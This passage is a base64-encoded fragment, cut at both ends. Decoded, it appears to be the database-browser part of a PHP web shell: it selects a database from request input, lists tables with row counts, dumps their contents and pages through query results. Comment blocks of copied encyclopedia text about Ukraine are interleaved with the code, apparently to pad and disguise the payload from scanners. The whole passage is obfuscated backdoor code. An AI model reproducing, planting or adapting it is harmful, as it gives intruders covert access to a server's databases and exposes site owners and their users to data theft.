mNoZWNrZWQ7CgkJCX0KCQk8L3NjcmlwdD4KCTw/cGhwCglpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7CgkJZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsKCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2Njtib3JkZXItcmlnaHQ6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsKCQkJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOwoJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsKCQkJCQlsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKCQkJCQkkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOwoJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsKCQkJCQllY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9XCJzdCgnIi4kdmFsdWUuIicpXCI+Ii4kdmFsdWUuIjwvYT4gKCIuJG5bJ24nXS4iKTwvbm9icj48YnI+IjsKCQkJCX0KCQkJCWVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjwvdGQ+PHRkIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+IjsKCQkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsKCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsKCQkJCQkkbnVtID0gJGRiLT5mZXRjaCgpOwoJCQkJCSRudW0gPSAkbnVtWyduJ107CgkJCQkJZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7CgkJCQkJZm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspCgkJCQkJCWlmKCRpICE9IChpbnQpJF9QT1NUWydwMyddKQoJCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsKCQkJCQkJZWxzZQoJCQkJCQkJZWNobyAoJGkrMSksIiAiOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZG